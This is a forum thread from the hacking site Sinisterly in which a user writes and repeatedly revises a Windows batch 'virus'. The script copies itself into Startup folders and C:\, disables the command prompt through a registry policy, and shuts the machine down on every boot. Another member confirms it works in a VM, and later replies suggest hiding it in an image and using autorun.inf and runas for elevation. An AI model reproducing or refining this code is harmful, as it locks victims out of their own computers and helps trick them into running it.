Sinisterly
Batch "Virus" - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Coding (https://sinister.ly/Forum-Coding--71)
+--- Thread: Batch "Virus" (/Thread-Batch-Virus)

Pages: 1 2


Batch "Virus" - Fish - 05-22-2014

Hey guys, I was bored today in a free period and wrote this out. I'm pretty new to Batch, and I wanted to know your opinion.
Code:
Title name @echo off copy E:\name11.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name11.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name11.bat C:\* reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f shutdown -s -t 10 -c "Bye-bye, %username%!" exit

Basically, it copies itself into the startup folder (and possibly everything in the C:\ drive, not 100% sure), adds a registry edit to disable cmd, and shuts off the computer. This way, it will continuously shutdown every time it starts up.

I don't know if it's necessary for me to use a comment on the shutdown line, or if I should just use
Code:
echo "Bye-bye, %username%!" pause shutdown -s -t 00

What do you guys think?

Also, what Virtual PC do you guys recommend to test this out with? I tried the one from Microsoft's website, but it didn't work. I'm using Windows 8 (on my home PC, school uses XP) which doesn't use Hyper-V.

Thanks in advance!

Edit:
I also wanted to know if when the script copied itself into the startup folder, and shutdown, if it would try to copy itself again and give itself an error (two files with the same name in the same place).
Is there a way to (excuse my terrible Batch please)
Code:
if %ALLUSERSPROFILE%\Start Menu\Programs\Startup\name11.bat exists goto :XYZ
??

Thanks again!


RE: Batch "Virus" - Firemonkey - 05-22-2014

(05-22-2014, 10:07 PM)Fish Wrote: Hey guys, I was bored today in a free period and wrote this out. I'm pretty new to Batch, and I wanted to know your opinion.
Code:
Title name @echo off copy E:\name11.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name11.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name11.bat C:\* reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f shutdown -s -t 10 -c "Bye-bye, %username%!" exit

Basically, it copies itself into the startup folder (and possibly everything in the C:\ drive, not 100% sure), adds a registry edit to disable cmd, and shuts off the computer. This way, it will continuously shutdown every time it starts up.

I don't know if it's necessary for me to use a comment on the shutdown line, or if I should just use
Code:
echo "Bye-bye, %username%!" pause shutdown -s -t 00

What do you guys think?

Also, what Virtual PC do you guys recommend to test this out with? I tried the one from Microsoft's website, but it didn't work. I'm using Windows 8 (on my home PC, school uses XP) which doesn't use Hyper-V.

Thanks in advance!

Edit:
I also wanted to know if when the script copied itself into the startup folder, and shutdown, if it would try to copy itself again and give itself an error (two files with the same name in the same place).
Is there a way to (excuse my terrible Batch please)
Code:
if %ALLUSERSPROFILE%\Start Menu\Programs\Startup\name11.bat exists goto :XYZ
??

Thanks again!


Hey Fish,

The way you have it written, it looks like it will keep making copies of itself. On a windows system, it may auto-rename itself with the filename(1).bat.

You would probably want to put a check in there to see if the file already exists in a specific location, and if it does don't try copying again. Something like:


Code:
if exist {insert file name here} ( rem file exists ) else ( rem file doesn't exist )

As for a virtual machine, I use VMWare without issues.


RE: Batch "Virus" - Fish - 05-22-2014

(05-22-2014, 10:31 PM)Firemonkey Wrote:
Code:
if exist {insert file name here} ( rem file exists ) else ( rem file doesn't exist )

Does "else" work in Batch? I was under the impression that it would be "if not" instead.

Thanks for the quick reply, btw

Edit:
How about something like this:
Code:
Title name @echo off if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :2 if not exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :1 :1 copy E:\name12.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat C:\* :2 REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f :3 shutdown -s -t 10 -c "Bye-bye, %username%!" exit



RE: Batch "Virus" - Firemonkey - 05-22-2014

(05-22-2014, 10:36 PM)Fish Wrote:
(05-22-2014, 10:31 PM)Firemonkey Wrote:
Code:
if exist {insert file name here} ( rem file exists ) else ( rem file doesn't exist )

Does "else" work in Batch? I was under the impression that it would be "if not" instead.

Thanks for the quick reply, btw

Edit:
How about something like this:
Code:
Title name @echo off if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :2 if not exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :1 :1 copy E:\name12.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat C:\* :2 REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f :3 shutdown -s -t 10 -c "Bye-bye, %username%!" exit

You can use else in batch (at least the last time I looked). The way you have it should work. I can test it later for you in a VM.


RE: Batch "Virus" - Fish - 05-22-2014

Thank you so much!

Edit:

Code:
Title name @echo off if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :2 if not exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :1 :1 copy E:\name12.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat C:\* :2 REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :4 if not exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :3 :3 if %a%=%b% goto 4 else goto 6 :6 shutdown -s -t 10 -c "Bye-bye, %username%!" set a = b goto 5 :4 shutdown -s -t 00 :5 exit

Would this work? I used a=b as a marker to indicate whether or not the batch file had been completely run. This way, it would display a message and give the user 10 seconds to read it the first time and instantly shutdown everytime next the computer is started.


RE: Batch "Virus" - Firemonkey - 05-23-2014

(05-22-2014, 11:12 PM)Fish Wrote: Thank you so much!

Edit:

Code:
Title name @echo off if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :2 if not exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :1 :1 copy E:\name12.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat C:\* :2 REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :4 if not exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :3 :3 if %a%=%b% goto 4 else goto 6 :6 shutdown -s -t 10 -c "Bye-bye, %username%!" set a = b goto 5 :4 shutdown -s -t 00 :5 exit

Would this work? I used a=b as a marker to indicate whether or not the batch file had been completely run. This way, it would display a message and give the user 10 seconds to read it the first time and instantly shutdown everytime next the computer is started.

yes that should work. I'll let you know when I test it tonight.


RE: Batch "Virus" - Fish - 05-23-2014

I just went through the file again, and decided to make a better marker. As well as this, I took out some unnecessary "if" statements. This is what I have:
Code:
Title name @echo off if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :2 if not exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :1 :1 copy E:\name12.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat C:\* :2 REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f :3 if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\bloop.txt} goto 4 else goto 6 :6 shutdown -s -t 10 -c "Bye-bye, %username%!" echo %random%>%ALLUSERSPROFILE%\Start Menu\Programs\Startup\bloop.txt goto 5 :4 shutdown -s -t 00 :5 exit



RE: Batch "Virus" - Firemonkey - 05-23-2014

(05-23-2014, 03:23 AM)Fish Wrote: I just went through the file again, and decided to make a better marker. As well as this, I took out some unnecessary "if" statements. This is what I have:
Code:
Title name @echo off if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :2 if not exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :1 :1 copy E:\name12.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat C:\* :2 REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f :3 if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\bloop.txt} goto 4 else goto 6 :6 shutdown -s -t 10 -c "Bye-bye, %username%!" echo %random%>%ALLUSERSPROFILE%\Start Menu\Programs\Startup\bloop.txt goto 5 :4 shutdown -s -t 00 :5 exit


Success! Just tried it on a Windows XP VM and it works. Nice job!


RE: Batch "Virus" - ninja805 - 05-23-2014

(05-22-2014, 10:07 PM)Fish Wrote: Hey guys, I was bored today in a free period and wrote this out. I'm pretty new to Batch, and I wanted to know your opinion.
Code:
Title name @echo off copy E:\name11.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name11.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name11.bat C:\* reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f shutdown -s -t 10 -c "Bye-bye, %username%!" exit

Basically, it copies itself into the startup folder (and possibly everything in the C:\ drive, not 100% sure), adds a registry edit to disable cmd, and shuts off the computer. This way, it will continuously shutdown every time it starts up.

I don't know if it's necessary for me to use a comment on the shutdown line, or if I should just use
Code:
echo "Bye-bye, %username%!" pause shutdown -s -t 00

What do you guys think?

Also, what Virtual PC do you guys recommend to test this out with? I tried the one from Microsoft's website, but it didn't work. I'm using Windows 8 (on my home PC, school uses XP) which doesn't use Hyper-V.

Thanks in advance!

Edit:
I also wanted to know if when the script copied itself into the startup folder, and shutdown, if it would try to copy itself again and give itself an error (two files with the same name in the same place).
Is there a way to (excuse my terrible Batch please)
Code:
if %ALLUSERSPROFILE%\Start Menu\Programs\Startup\name11.bat exists goto :XYZ
??

Thanks again!
No one's going to actually fall for this, here's why:
Before you run the Batch file, it requires for you to provide administration rights to the file, usually by then people will have the right idea not to run it. My suggestion is (and I know you're new to Batch) to learn some cryptography and sorts so you can have the Batch file hidden in-say a picture, etc. :Smile:


RE: Batch "Virus" - Fish - 05-23-2014

Would this work if I used an autorun.inf to run another batch file that would use say
Code:
runas \domainadmin "E:\name12.bat"
???

Or would that need a password??